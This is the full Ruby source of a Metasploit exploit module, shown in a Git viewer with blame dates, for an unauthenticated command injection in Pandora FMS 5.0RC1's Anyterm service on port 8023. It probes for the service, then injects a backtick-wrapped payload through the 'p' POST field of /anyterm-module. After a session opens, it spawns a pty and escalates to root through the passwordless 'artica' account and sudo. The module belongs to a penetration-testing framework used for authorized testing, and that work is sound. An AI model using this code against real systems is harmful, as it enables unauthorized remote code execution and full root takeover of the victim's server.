metasploit-framework/modules/exploits/linux/http/pandora_fms_exec.rb

109 lines
3.3 KiB
Ruby
Raw Normal View History

2014-01-29 05:46:23 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Pandora FMS Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
It will leverage an unauthenticated command injection in the Anyterm service on
port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
the user "artica" is not assigned a password by default, which makes it possible to su
to this user from the "pandora" user. The "artica" user has access to sudo without a
password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
and lower force a password for the "artica" user during installation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
],
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Pandora 5.0RC1', {}]
],
'Privileged' => true,
'DisclosureDate' => "Jan 29 2014",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8023),
OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
], self.class)
end
def on_new_session(client)
print_status("#{peer} - Trying to escalate privileges to root")
# Spawn a pty for su/sudo
client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'")
# Su to the passwordless "artica" account
client.shell_command_token("su - artica")
# The "artica" use has sudo rights without the need for a password, thus gain root priveleges
client.shell_command_token("sudo -s")
2014-01-29 05:46:23 +00:00
end
def peer
return "#{rhost}:#{rport}"
end
def check
# Check version
print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "anyterm.html")
2014-01-29 05:46:23 +00:00
})
if res and res.code == 200 and res.body =~ /Pandora FMS Remote Gateway/
print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
return Exploit::CheckCode::Detected
2014-01-29 05:46:23 +00:00
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Sending payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
2014-01-29 05:46:23 +00:00
'vars_post' => {
'a' => "open",
'p' => "`nohup #{payload.encoded}`"
2014-01-29 05:46:23 +00:00
}
})
if not res or res.code != 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end
end
end